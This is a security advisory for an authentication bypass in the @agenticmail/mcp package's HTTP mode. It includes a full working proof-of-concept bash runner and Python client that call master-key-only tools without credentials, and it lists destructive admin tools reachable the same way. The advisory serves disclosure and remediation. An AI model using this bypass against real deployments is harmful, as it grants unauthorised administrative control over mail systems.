PT-2026-48122 · Npm · @Agenticmail/Mcp
Published
2026-06-01
·
Updated
2026-06-01
·
CVE-2026-50287
None
No severity ratings or metrics are available. When they are, we'll update the corresponding info on the page.
AgenticMail MCP HTTP authorization bypass
Summary
@agenticmail/mcp exposes a Streamable HTTP transport when started with
--http or MCP HTTP=1. In that mode, the /mcp endpoint accepts requests
without any HTTP authentication layer. A remote client can initialize a
session and call tools directly.The problem is that the MCP server also exposes tools documented as requiring
AGENTICMAIL MASTER KEY, and the server process forwards those calls using its
own configured master key. As a result, any client that can reach the MCP HTTP
port can invoke master-only operations without knowing the master key.Impact
An unauthenticated network client can invoke master-key-only MCP tools through
the server, including administrative and gateway actions.
Confirmed with a read-only tool:
setup guide
The same path reaches higher-impact tools such as:
setup email relaysetup email domaindelete agentcleanup agentssend test email
Affected Code
packages/mcp/src/index.tspackages/mcp/src/tools.tspackages/mcp/README.md
Relevant observations:
packages/mcp/src/index.tsstarts an HTTP server for/mcpwithout checking an Authorization header.packages/mcp/src/tools.tsmarks gateway/admin tools as master-key tools and forwards them with the server-sideAGENTICMAIL MASTER KEY.packages/mcp/README.mddocuments that gateway/admin tools require the master key.
Reproduction
Use the bundled one-command PoC runner:
cd agenticmail
./scripts/run agenticmail mcp http unauth poc.sh
Expected success output:
[+] received mcp-session-id without authentication: ...
[+] tools/call(setup guide) HTTP status: 200
[+] SUCCESS: unauthenticated HTTP client invoked MCP tool `setup guide`
PoC Files
- [scripts/run agenticmail mcp http unauth poc.sh](scripts/run agenticmail mcp http unauth poc.sh)
- One-command wrapper that starts the API, starts MCP in HTTP mode, runs the client PoC, and cleans up background processes.
- [scripts/agenticmail mcp http unauth poc.py](scripts/agenticmail mcp http unauth poc.py)
- Unauthenticated MCP client that sends
initializeand then callssetup guide.
Inline PoC
The following PoC is non-destructive. It calls
setup guide, which is
documented as a master-key tool but only returns setup guidance.scripts/run agenticmail mcp http unauth poc.sh
#!/usr/bin/env bash
set -euo pipefail
REPO DIR="."
POC="scripts/agenticmail mcp http unauth poc.py"
API HOST="${API HOST:-127.0.0.1}"
API PORT="${API PORT:-}"
MCP PORT="${MCP PORT:-}"
MASTER KEY="${AGENTICMAIL MASTER KEY:-mk path4 poc master}"
DATA DIR="${AGENTICMAIL DATA DIR:-.poc-data}"
LOG DIR="${LOG DIR:-.poc-logs}"
mkdir -p "$DATA DIR" "$LOG DIR"
node major="$(node -p 'Number(process.versions.node.split(".")[0])' 2>/dev/null || echo 0)"
if (( node major < 20 )); then
echo "[-] Node.js 20+ is required; current node is: $(node -v 2>/dev/null || echo missing)" >&2
exit 2
fi
find free port() {
python3 - <<'PY'
import socket
with socket.socket(socket.AF INET, socket.SOCK STREAM) as sock:
sock.bind(("127.0.0.1", 0))
print(sock.getsockname()[1])
PY
}
[[ -n "$API PORT" ]] || API PORT="$(find free port)"
[[ -n "$MCP PORT" ]] || MCP PORT="$(find free port)"
api pid=""
mcp pid=""
cleanup() {
set +e
[[ -z "${mcp pid:-}" ]] || kill "$mcp pid" 2>/dev/null || true
[[ -z "${api pid:-}" ]] || kill "$api pid" 2>/dev/null || true
}
trap cleanup EXIT
wait tcp() {
local host="$1"
local port="$2"
local name="$3"
for in $(seq 1 60); do
if python3 - "$host" "$port" >/dev/null 2>&1 <<'PY'
import socket
import sys
sock = socket.socket(socket.AF INET, socket.SOCK STREAM)
sock.settimeout(1)
try:
sock.connect((sys.argv[1], int(sys.argv[2])))
sys.exit(0)
except Exception:
sys.exit(1)
finally:
sock.close()
PY
then
echo "[+] $name is listening: $host:$port"
return 0
fi
sleep 1
done
echo "[-] Timed out waiting for $name: $host:$port" >&2
return 1
}
cd "$REPO DIR"
echo "[+] Starting AgenticMail API on $API HOST:$API PORT"
(
export AGENTICMAIL API HOST="$API HOST"
export AGENTICMAIL API PORT="$API PORT"
export AGENTICMAIL MASTER KEY="$MASTER KEY"
export AGENTICMAIL DATA DIR="$DATA DIR"
npm run dev:api
) >"$LOG DIR/api.log" 2>&1 &
api pid="$!"
wait tcp "$API HOST" "$API PORT" "AgenticMail API"
echo "[+] Starting AgenticMail MCP HTTP server on port $MCP PORT"
(
export AGENTICMAIL API URL="http://$API HOST:$API PORT"
export AGENTICMAIL MASTER KEY="$MASTER KEY"
export AGENTICMAIL DATA DIR="$DATA DIR"
npm --workspace=@agenticmail/mcp run dev -- --http "--port=$MCP PORT"
) >"$LOG DIR/mcp.log" 2>&1 &
mcp pid="$!"
wait tcp "127.0.0.1" "$MCP PORT" "AgenticMail MCP HTTP server"
echo "[+] Running unauthenticated MCP client PoC"
python3 "$POC" --url "http://127.0.0.1:$MCP PORT/mcp"
scripts/agenticmail mcp http unauth poc.py
#!/usr/bin/env python3
from future import annotations
import argparse
import json
import sys
import urllib.error
import urllib.request
def post json(url: str, payload: dict, session id: str | None = None) -> tuple[int, dict, str]:
data = json.dumps(payload).encode("utf-8")
headers = {
"Content-Type": "application/json",
"Accept": "application/json, text/event-stream",
}
if session id:
headers["mcp-session-id"] = session id
req = urllib.request.Request(url, data=data, headers=headers, method="POST")
try:
with urllib.request.urlopen(req, timeout=15) as resp:
body = resp.read().decode("utf-8", errors="replace")
return resp.status, dict(resp.headers), body
except urllib.error.HTTPError as exc:
body = exc.read().decode("utf-8", errors="replace")
return exc.code, dict(exc.headers), body
def parse sse or json(body: str) -> list[dict]:
events: list[dict] = []
stripped = body.strip()
if not stripped:
return events
if stripped.startswith("{") or stripped.startswith("["):
parsed = json.loads(stripped)
return parsed if isinstance(parsed, list) else [parsed]
for line in body.splitlines():
if not line.startswith("data:"):
continue
data = line[len("data:") :].strip()
if not data:
continue
try:
events.append(json.loads(data))
except json.JSONDecodeError:
pass
return events
def main() -> int:
parser = argparse.ArgumentParser()
parser.add argument("--url", default="http://127.0.0.1:8014/mcp")
parser.add argument("--tool", default="setup guide")
args = parser.parse args()
init payload = {
"jsonrpc": "2.0",
"id": 1,
"method": "initialize",
"params": {
"protocolVersion": "2025-03-26",
"capabilities": {},
"clientInfo": {"name": "agenticmail-unauth-poc", "version": "0.1"},
},
}
status, headers, body = post json(args.url, init payload)
print(f"[+] initialize HTTP status: {status}")
print(f"[+] initialize response body: {body[:500]}")
session id = headers.get("mcp-session-id") or headers.get("Mcp-Session-Id")
if not session id:
print("[-] No mcp-session-id header returned")
return 2
print(f"[+] received mcp-session-id without authentication: {session id}")
post json(args.url, {
"jsonrpc": "2.0",
"method": "notifications/initialized",
"params": {},
}, session id=session id)
status, headers, body = post json(args.url, {
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {"name": args.tool, "arguments": {}},
}, session id=session id)
print(f"[+] tools/call({args.tool}) HTTP status: {status}")
print("[+] raw response:")
print(body)
if any("result" in msg for msg in parse sse or json(body)):
print(f"[+] SUCCESS: unauthenticated HTTP client invoked MCP tool `{args.tool}`")
return 0
print("[-] Tool call did not return a result")
return 1
if name == " main ":
sys.exit(main())
Why This Is a Vulnerability
The project treats
AGENTICMAIL MASTER KEY as the authorization boundary for
administrative and gateway operations. HTTP MCP mode removes the client-side
authentication boundary entirely, so an unauthenticated network client becomes
an indirect caller of master-only API functionality.Suggested Fix
- Require authentication for HTTP MCP mode.
- Bind the MCP HTTP server to
127.0.0.1by default. - Reject
/mcprequests that lack a valid bearer token or shared secret. - Disable master-key tools when the transport is unauthenticated.
Missing Authentication
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
@Agenticmail/Mcp